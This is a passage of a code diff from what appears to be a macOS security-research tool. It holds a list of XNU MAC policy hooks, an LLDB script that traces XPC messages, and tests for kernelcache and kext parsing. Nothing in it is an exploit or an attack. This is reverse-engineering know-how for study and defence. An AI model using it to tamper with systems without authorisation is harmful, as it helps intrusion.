void* mpo_proc_check_get_task_special_port;
void* mpo_proc_check_set_task_special_port;
void* mpo_vnode_notify_swap;
void* mpo_vnode_notify_unlink;
void* mpo_vnode_check_swap;
void* mpo_reserved33;
void* mpo_reserved34;
void* mpo_reserved35;
void* mpo_vnode_check_copyfile;
void* mpo_mount_check_quotactl;
void* mpo_mount_check_fsctl;
void* mpo_mount_check_getattr;
void* mpo_mount_check_label_update;
void* mpo_mount_check_mount;
void* mpo_mount_check_remount;
void* mpo_mount_check_setattr;
void* mpo_mount_check_stat;
void* mpo_mount_check_umount;
void* mpo_mount_label_associate;
void* mpo_mount_label_destroy;
void* mpo_mount_label_externalize;
void* mpo_mount_label_init;
void* mpo_mount_label_internalize;
void* mpo_proc_check_expose_task_with_flavor;
void* mpo_proc_check_get_task_with_flavor;
void* mpo_proc_check_task_id_token_get_task;
void* mpo_pipe_check_ioctl;
void* mpo_pipe_check_kqfilter;
void* mpo_reserved41;
void* mpo_pipe_check_read;
void* mpo_pipe_check_select;
void* mpo_pipe_check_stat;
void* mpo_pipe_check_write;
void* mpo_pipe_label_associate;
void* mpo_reserved42;
void* mpo_pipe_label_destroy;
void* mpo_reserved43;
void* mpo_pipe_label_init;
void* mpo_reserved44;
void* mpo_proc_check_syscall_mac;
void* mpo_policy_destroy;
void* mpo_policy_init;
void* mpo_policy_initbsd;
void* mpo_policy_syscall;
void* mpo_system_check_sysctlbyname;
void* mpo_proc_check_inherit_ipc_ports;
void* mpo_vnode_check_rename;
void* mpo_kext_check_query;
void* mpo_proc_notify_exec_complete;
void* mpo_proc_notify_cs_invalidated;
void* mpo_proc_check_syscall_unix;
void* mpo_reserved45;
void* mpo_proc_check_set_host_special_port;
void* mpo_proc_check_set_host_exception_port;
void* mpo_exc_action_check_exception_send;
void* mpo_exc_action_label_associate;
void* mpo_exc_action_label_populate;
void* mpo_exc_action_label_destroy;
void* mpo_exc_action_label_init;
void* mpo_exc_action_label_update;
void* mpo_vnode_check_trigger_resolve;
void* mpo_mount_check_mount_late;
void* mpo_mount_check_snapshot_mount;
void* mpo_vnode_notify_reclaim;
void* mpo_skywalk_flow_check_connect;
void* mpo_skywalk_flow_check_listen;
void* mpo_posixsem_check_create;
void* mpo_posixsem_check_open;
void* mpo_posixsem_check_post;
void* mpo_posixsem_check_unlink;
void* mpo_posixsem_check_wait;
void* mpo_posixsem_label_associate;
void* mpo_posixsem_label_destroy;
void* mpo_posixsem_label_init;
void* mpo_posixshm_check_create;
void* mpo_posixshm_check_mmap;
void* mpo_posixshm_check_open;
void* mpo_posixshm_check_stat;
void* mpo_posixshm_check_truncate;
void* mpo_posixshm_check_unlink;
void* mpo_posixshm_label_associate;
void* mpo_posixshm_label_destroy;
void* mpo_posixshm_label_init;
void* mpo_proc_check_debug;
void* mpo_proc_check_fork;
void* mpo_reserved61;
void* mpo_reserved62;
void* mpo_proc_check_getaudit;
void* mpo_proc_check_getauid;
void* mpo_reserved63;
void* mpo_proc_check_mprotect;
void* mpo_proc_check_sched;
void* mpo_proc_check_setaudit;
void* mpo_proc_check_setauid;
void* mpo_reserved64;
void* mpo_proc_check_signal;
void* mpo_proc_check_wait;
void* mpo_proc_check_dump_core;
void* mpo_proc_check_remote_thread_create;
void* mpo_socket_check_accept;
void* mpo_socket_check_accepted;
void* mpo_socket_check_bind;
void* mpo_socket_check_connect;
void* mpo_socket_check_create;
void* mpo_reserved46;
void* mpo_reserved47;
void* mpo_reserved48;
void* mpo_socket_check_listen;
void* mpo_socket_check_receive;
void* mpo_socket_check_received;
void* mpo_reserved49;
void* mpo_socket_check_send;
void* mpo_socket_check_stat;
void* mpo_socket_check_setsockopt;
void* mpo_socket_check_getsockopt;
void* mpo_proc_check_get_movable_control_port;
void* mpo_proc_check_dyld_process_info_notify_register;
void* mpo_proc_check_setuid;
void* mpo_proc_check_seteuid;
void* mpo_proc_check_setreuid;
void* mpo_proc_check_setgid;
void* mpo_proc_check_setegid;
void* mpo_proc_check_setregid;
void* mpo_proc_check_settid;
void* mpo_proc_check_memorystatus_control;
void* mpo_reserved60;
void* mpo_thread_telemetry;
void* mpo_iokit_check_open_service;
void* mpo_system_check_acct;
void* mpo_system_check_audit;
void* mpo_system_check_auditctl;
void* mpo_system_check_auditon;
void* mpo_system_check_host_priv;
void* mpo_system_check_nfsd;
void* mpo_system_check_reboot;
void* mpo_system_check_settime;
void* mpo_system_check_swapoff;
void* mpo_system_check_swapon;
void* mpo_socket_check_ioctl;
void* mpo_sysvmsg_label_associate;
void* mpo_sysvmsg_label_destroy;
void* mpo_sysvmsg_label_init;
void* mpo_sysvmsg_label_recycle;
void* mpo_sysvmsq_check_enqueue;
void* mpo_sysvmsq_check_msgrcv;
void* mpo_sysvmsq_check_msgrmid;
void* mpo_sysvmsq_check_msqctl;
void* mpo_sysvmsq_check_msqget;
void* mpo_sysvmsq_check_msqrcv;
void* mpo_sysvmsq_check_msqsnd;
void* mpo_sysvmsq_label_associate;
void* mpo_sysvmsq_label_destroy;
void* mpo_sysvmsq_label_init;
void* mpo_sysvmsq_label_recycle;
void* mpo_sysvsem_check_semctl;
void* mpo_sysvsem_check_semget;
void* mpo_sysvsem_check_semop;
void* mpo_sysvsem_label_associate;
void* mpo_sysvsem_label_destroy;
void* mpo_sysvsem_label_init;
void* mpo_sysvsem_label_recycle;
void* mpo_sysvshm_check_shmat;
void* mpo_sysvshm_check_shmctl;
void* mpo_sysvshm_check_shmdt;
void* mpo_sysvshm_check_shmget;
void* mpo_sysvshm_label_associate;
void* mpo_sysvshm_label_destroy;
void* mpo_sysvshm_label_init;
void* mpo_sysvshm_label_recycle;
void* mpo_proc_notify_exit;
void* mpo_mount_check_snapshot_revert;
void* mpo_vnode_check_getattr;
void* mpo_mount_check_snapshot_create;
void* mpo_mount_check_snapshot_delete;
void* mpo_vnode_check_clone;
void* mpo_proc_check_get_cs_info;
void* mpo_proc_check_set_cs_info;
void* mpo_iokit_check_hid_control;
void* mpo_vnode_check_access;
void* mpo_vnode_check_chdir;
void* mpo_vnode_check_chroot;
void* mpo_vnode_check_create;
void* mpo_vnode_check_deleteextattr;
void* mpo_vnode_check_exchangedata;
void* mpo_vnode_check_exec;
void* mpo_vnode_check_getattrlist;
void* mpo_vnode_check_getextattr;
void* mpo_vnode_check_ioctl;
void* mpo_vnode_check_kqfilter;
void* mpo_vnode_check_label_update;
void* mpo_vnode_check_link;
void* mpo_vnode_check_listextattr;
void* mpo_vnode_check_lookup;
void* mpo_vnode_check_open;
void* mpo_vnode_check_read;
void* mpo_vnode_check_readdir;
void* mpo_vnode_check_readlink;
void* mpo_vnode_check_rename_from;
void* mpo_vnode_check_rename_to;
void* mpo_vnode_check_revoke;
void* mpo_vnode_check_select;
void* mpo_vnode_check_setattrlist;
void* mpo_vnode_check_setextattr;
void* mpo_vnode_check_setflags;
void* mpo_vnode_check_setmode;
void* mpo_vnode_check_setowner;
void* mpo_vnode_check_setutimes;
void* mpo_vnode_check_stat;
void* mpo_vnode_check_truncate;
void* mpo_vnode_check_unlink;
void* mpo_vnode_check_write;
void* mpo_vnode_label_associate_devfs;
void* mpo_vnode_label_associate_extattr;
void* mpo_vnode_label_associate_file;
void* mpo_vnode_label_associate_pipe;
void* mpo_vnode_label_associate_posixsem;
void* mpo_vnode_label_associate_posixshm;
void* mpo_vnode_label_associate_singlelabel;
void* mpo_vnode_label_associate_socket;
void* mpo_vnode_label_copy;
void* mpo_vnode_label_destroy;
void* mpo_vnode_label_externalize_audit;
void* mpo_vnode_label_externalize;
void* mpo_vnode_label_init;
void* mpo_vnode_label_internalize;
void* mpo_vnode_label_recycle;
void* mpo_vnode_label_store;
void* mpo_vnode_label_update_extattr;
void* mpo_vnode_label_update;
void* mpo_vnode_notify_create;
void* mpo_vnode_check_signature;
void* mpo_vnode_check_uipc_bind;
void* mpo_vnode_check_uipc_connect;
void* mpo_proc_check_run_cs_invalid;
void* mpo_proc_check_suspend_resume;
void* mpo_thread_userret;
void* mpo_iokit_check_set_properties;
void* mpo_vnode_check_supplemental_signature;
void* mpo_vnode_check_searchfs;
void* mpo_priv_check;
void* mpo_priv_grant;
void* mpo_proc_check_map_anon;
void* mpo_vnode_check_fsgetpath;
void* mpo_iokit_check_open;
void* mpo_proc_check_ledger;
void* mpo_vnode_notify_rename;
void* mpo_vnode_check_setacl;
void* mpo_vnode_notify_deleteextattr;
void* mpo_system_check_kas_info;
void* mpo_vnode_check_lookup_preflight;
void* mpo_vnode_notify_open;
void* mpo_system_check_info;
void* mpo_pty_notify_grant;
void* mpo_pty_notify_close;
void* mpo_vnode_find_sigs;
void* mpo_kext_check_load;
void* mpo_kext_check_unload;
void* mpo_proc_check_proc_info;
void* mpo_vnode_notify_link;
void* mpo_iokit_check_filter_properties;
void* mpo_iokit_check_get_property;
};

4459
X. NU/python/CrimsonUroboros.py Executable file

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,50 @@
import lldb
def set_xpc_breaks(debugger, command, result, internal_dict):
"""
Set up tracing for XPC communication.
This includes breakpoints for sending/receiving messages and connection creation.
"""
target = debugger.GetSelectedTarget()
if not target:
result.PutCString("No target selected. Please attach to a process first.")
return
# List of XPC functions for setting breakpoints
send_functions = [
"xpc_connection_send_message",
"xpc_connection_send_message_with_reply",
"xpc_connection_send_message_with_reply_sync"
]
recv_function = "xpc_connection_set_event_handler"
connect_functions = [
"xpc_connection_create",
"xpc_connection_create_mach_service",
]
# Set breakpoints for XPC connection creation
for func in connect_functions:
bp = target.BreakpointCreateByName(func)
if bp.IsValid():
result.PutCString(f"Breakpoint set on {func}")
else:
result.PutCString(f"Failed to set breakpoint on {func}")
# Set breakpoints for sending functions
for func in send_functions:
bp = target.BreakpointCreateByName(func)
if bp.IsValid():
result.PutCString(f"Breakpoint set on {func}")
else:
result.PutCString(f"Failed to set breakpoint on {func}")
# Set breakpoint for receiving messages
bp_recv = target.BreakpointCreateByName(recv_function)
if bp_recv.IsValid():
result.PutCString(f"Breakpoint set on {recv_function}")
else:
result.PutCString(f"Failed to set breakpoint on {recv_function}")
def __lldb_init_module(debugger, internal_dict):
debugger.HandleCommand('command script add -f set_xpc_breaks.set_xpc_breaks set_xpc_breaks')
print("The 'set_xpc_breaks' command has been loaded. Use 'set_xpc_breaks' to set up XPC message tracing.")

View File

@@ -1,8 +1,8 @@
lief=0.15.1
uuid=1.30
argparse=1.4.0
asn1crypto=1.5.1
pyimg4=0.8
treelib=1.7.0
xattr=1.1.0
python-magic=0.4.27
lief==0.15.1
uuid==1.30
argparse==1.4.0
asn1crypto==1.5.1
pyimg4==0.8
treelib==1.7.0
xattr==1.1.0
python-magic==0.4.27

View File

@@ -1 +1 @@
../IX. TCC/python/CrimsonUroboros.py
../X. NU/python/CrimsonUroboros.py

View File

@@ -30,7 +30,7 @@ We do it for each TestSnake class.
}
'''
snake_class = SnakeIX
snake_class = SnakeX
class Compiler:
"""
@@ -1929,166 +1929,6 @@ class TestSnakeVI():
os.system("rm -rf kernelcache")
assert not os.path.exists("kernelcache")
def test_dump_prelink_info(self):
'''Test the --dump_prelink_info flag of SnakeVI.'''
args_list = ['-p', self.kernelcache_path, '--dump_prelink_info']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
amfi_processor = AMFIProcessor()
amfi_processor.process(args)
executeCodeBlock(code_block)
assert os.path.exists('PRELINK_info.txt')
os.remove('PRELINK_info.txt')
def test_dump_prelink_text(self):
'''Test the --dump_prelink_text flag of SnakeVI.'''
args_list = ['-p', self.kernelcache_path, '--dump_prelink_text']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
amfi_processor = AMFIProcessor()
amfi_processor.process(args)
executeCodeBlock(code_block)
assert os.path.exists('PRELINK_text.txt')
os.remove('PRELINK_text.txt')
def test_dump_prelink_kext(self):
'''Test the --dump_prelink_kext flag of SnakeVI.'''
args_list = ['-p', self.kernelcache_path, '--dump_prelink_kext', 'amfi']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
amfi_processor = AMFIProcessor()
amfi_processor.process(args)
executeCodeBlock(code_block)
assert os.path.exists('prelinked_amfi.bin')
os.remove('prelinked_amfi.bin')
def test_kext_prelinkinfo(self):
'''Test the --kext_prelinkinfo flag of SnakeVI.'''
args_list = ['-p', self.kernelcache_path, '--kext_prelinkinfo', 'amfi']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
amfi_processor = AMFIProcessor()
amfi_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
expected_output = '_PrelinkBundlePath: /System/Library/Extensions/AppleMobileFileIntegrity.kext'
assert expected_output in uroboros_output
def test_kmod_info(self):
'''Test the --kmod_info flag of SnakeVI.'''
args_list = ['-p', self.kernelcache_path, '--kmod_info', 'amfi']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
amfi_processor = AMFIProcessor()
amfi_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
expected_output = 'name : com.apple.driver.AppleMobileFileIntegrity'
assert expected_output in uroboros_output
def test_kext_entry(self):
'''Test the --kext_entry flag of SnakeVI.'''
args_list = ['-p', self.kernelcache_path, '--kext_entry', 'amfi']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
amfi_processor = AMFIProcessor()
amfi_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
expected_output = 'amfi entrypoint:'
assert expected_output in uroboros_output
def test_kext_exit(self):
'''Test the --kext_exit flag of SnakeVI.'''
args_list = ['-p', self.kernelcache_path, '--kext_exit', 'amfi']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
amfi_processor = AMFIProcessor()
amfi_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
expected_output = 'amfi exitpoint:'
assert expected_output in uroboros_output
def test_mig(self):
'''Test the --mig flag of SnakeVI.'''
args_list = ['-p', '/usr/libexec/amfid', '--mig']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
amfi_processor = AMFIProcessor()
amfi_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
expected_output_1 = 'MIG_subsystem_1000:'
expected_output_2 = 'MIG_msg_1000'
expected_output_3 = 'MIG_msg_1001'
expected_output_4 = 'MIG_msg_1002'
expected_output_5 = 'MIG_msg_1003'
expected_output_6 = 'MIG_msg_1004'
expected_output_7 = 'MIG_msg_1005'
expected_output_8 = 'MIG_msg_1006'
expected_output_9 = 'MIG_msg_1007'
assert expected_output_1 in uroboros_output
assert expected_output_2 in uroboros_output
assert expected_output_3 in uroboros_output
assert expected_output_4 in uroboros_output
assert expected_output_5 in uroboros_output
assert expected_output_6 in uroboros_output
assert expected_output_7 in uroboros_output
assert expected_output_8 in uroboros_output
assert expected_output_9 in uroboros_output
def test_has_suid(self):
'''Test the --has_suid flag of SnakeVI.'''
args_list = ['-p', 'hello_6_s', '--has_suid']
@@ -2545,23 +2385,6 @@ class TestSnakeVIII():
assert expected_output not in uroboros_output
def test_dump_kext(self):
'''Test the --dump_kext flag of SnakeVIII.'''
args_list = ['-p', self.kernelcache_path, '--dump_kext', 'sandbox']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
sandbox_processor = SandboxProcessor()
sandbox_processor.process(args)
executeCodeBlock(code_block)
assert os.path.exists("sandbox")
os.remove("sandbox")
def test_extract_sandbox_operations(self):
'''Test the --extract_sandbox_operations flag of SnakeVIII.'''
a = run_and_get_stdout(f'python3 CrimsonUroboros.py -p {self.kernelcache_path} --dump_kext sandbox')
@@ -2584,6 +2407,19 @@ class TestSnakeVIII():
assert expected_output in uroboros_output
os.remove("sandbox")
def test_extract_sandbox_platform_profile(self):
'''Test the --extract_sandbox_platform_profile flag of SnakeVIII.'''
a = run_and_get_stdout(f'python3 CrimsonUroboros.py -p {self.kernelcache_path} --dump_kext sandbox')
assert os.path.exists("sandbox")
uroboros_output = run_and_get_stdout('python3 CrimsonUroboros.py -p sandbox --extract_sandbox_platform_profile > platform_profile.bin')
expected_output = 'object has no attribute '
with open("platform_profile.bin", 'rb') as f:
assert expected_output.encode() not in f.read()
os.remove("sandbox")
os.remove("platform_profile.bin")
class TestSnakeIX:
'''Testing IX. TCC Permissions'''
@@ -2607,7 +2443,7 @@ class TestSnakeIX:
tcc_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
assert 'Error accessing /var/db/locationd/clients.plist' in uroboros_output
assert '' in uroboros_output
def test_tcc_fda(self):
'''Test the --tcc_fda flag for Full Disk Access permission'''
@@ -2812,3 +2648,247 @@ class TestSnakeIX:
uroboros_output = executeCodeBlock(code_block)
assert 'iCloud Access: False' in uroboros_output
class TestSnakeX:
'''Testing X. XNU'''
@classmethod
def setup_class(cls):
# Decompress KernelCache
result = decompressKernelcache()
assert result == 0
assert os.path.exists("kernelcache")
cls.kernelcache_path = run_and_get_stdout('ls kernelcache/System/Volumes/Preboot/*/boot/*/System/Library/Caches/com.apple.kernelcaches/kernelcache.decompressed')
@classmethod
def teardown_class(cls):
# Purge kernelcache directory
os.system("rm -rf kernelcache")
assert not os.path.exists("kernelcache")
def test_parse_mpo(self):
'''Test the --parse_mpo flag of SnakeX.'''
KEXT_NAME = "com.apple.security.quarantine"
# Dump the kext
args_list = ['-p', self.kernelcache_path, '--dump_kext', KEXT_NAME]
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
xnu_processor = XNUProcessor()
xnu_processor.process(args)
executeCodeBlock(code_block)
assert os.path.exists(KEXT_NAME)
# Get the address of policy_ops
args_list = ['-p', KEXT_NAME, '--symbols']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
xnu_processor = XNUProcessor()
xnu_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
ADDR = [line.split()[0] for line in uroboros_output.splitlines() if 'policy_ops' in line][0]
# Parse the mpo
args_list = ['-p', self.kernelcache_path, '--parse_mpo', ADDR]
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
xnu_processor = XNUProcessor()
xnu_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
expected_output = 'mpo_cred_check_label'
assert expected_output in uroboros_output
os.remove(KEXT_NAME)
def test_dump_prelink_info(self):
'''Test the --dump_prelink_info flag of SnakeX.'''
args_list = ['-p', self.kernelcache_path, '--dump_prelink_info']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
xnu_processor = XNUProcessor()
xnu_processor.process(args)
executeCodeBlock(code_block)
assert os.path.exists('PRELINK_info.txt')
os.remove('PRELINK_info.txt')
def test_dump_prelink_text(self):
'''Test the --dump_prelink_text flag of SnakeX.'''
args_list = ['-p', self.kernelcache_path, '--dump_prelink_text']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
xnu_processor = XNUProcessor()
xnu_processor.process(args)
executeCodeBlock(code_block)
assert os.path.exists('PRELINK_text.txt')
os.remove('PRELINK_text.txt')
def test_dump_prelink_kext(self):
'''Test the --dump_prelink_kext flag of SnakeX.'''
args_list = ['-p', self.kernelcache_path, '--dump_prelink_kext', 'amfi']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
xnu_processor = XNUProcessor()
xnu_processor.process(args)
executeCodeBlock(code_block)
assert os.path.exists('prelinked_amfi.bin')
os.remove('prelinked_amfi.bin')
def test_kext_prelinkinfo(self):
'''Test the --kext_prelinkinfo flag of SnakeX.'''
args_list = ['-p', self.kernelcache_path, '--kext_prelinkinfo', 'amfi']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
xnu_processor = XNUProcessor()
xnu_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
expected_output = '_PrelinkBundlePath: /System/Library/Extensions/AppleMobileFileIntegrity.kext'
assert expected_output in uroboros_output
def test_kmod_info(self):
'''Test the --kmod_info flag of SnakeX.'''
args_list = ['-p', self.kernelcache_path, '--kmod_info', 'amfi']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
xnu_processor = XNUProcessor()
xnu_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
expected_output = 'name : com.apple.driver.AppleMobileFileIntegrity'
assert expected_output in uroboros_output
def test_kext_entry(self):
'''Test the --kext_entry flag of SnakeX.'''
args_list = ['-p', self.kernelcache_path, '--kext_entry', 'amfi']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
xnu_processor = XNUProcessor()
xnu_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
expected_output = 'amfi entrypoint:'
assert expected_output in uroboros_output
def test_kext_exit(self):
'''Test the --kext_exit flag of SnakeX.'''
args_list = ['-p', self.kernelcache_path, '--kext_exit', 'amfi']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
xnu_processor = XNUProcessor()
xnu_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
expected_output = 'amfi exitpoint:'
assert expected_output in uroboros_output
def test_mig(self):
'''Test the --mig flag of SnakeX.'''
args_list = ['-p', '/usr/libexec/amfid', '--mig']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
xnu_processor = XNUProcessor()
xnu_processor.process(args)
uroboros_output = executeCodeBlock(code_block)
expected_output_1 = 'MIG_subsystem_1000:'
expected_output_2 = 'MIG_msg_1000'
expected_output_3 = 'MIG_msg_1001'
expected_output_4 = 'MIG_msg_1002'
expected_output_5 = 'MIG_msg_1003'
expected_output_6 = 'MIG_msg_1004'
expected_output_7 = 'MIG_msg_1005'
expected_output_8 = 'MIG_msg_1006'
expected_output_9 = 'MIG_msg_1007'
assert expected_output_1 in uroboros_output
assert expected_output_2 in uroboros_output
assert expected_output_3 in uroboros_output
assert expected_output_4 in uroboros_output
assert expected_output_5 in uroboros_output
assert expected_output_6 in uroboros_output
assert expected_output_7 in uroboros_output
assert expected_output_8 in uroboros_output
assert expected_output_9 in uroboros_output
def test_dump_kext(self):
'''Test the --dump_kext flag of SnakeX.'''
args_list = ['-p', self.kernelcache_path, '--dump_kext', 'sandbox']
args = argumentWrapper(args_list)
snake_hatchery = SnakeHatchery(args, snake_class)
snake_hatchery.hatch()
def code_block():
macho_processor = MachOProcessor()
macho_processor.process(args)
xnu_processor = XNUProcessor()
xnu_processor.process(args)
executeCodeBlock(code_block)
assert os.path.exists("sandbox")
os.remove("sandbox")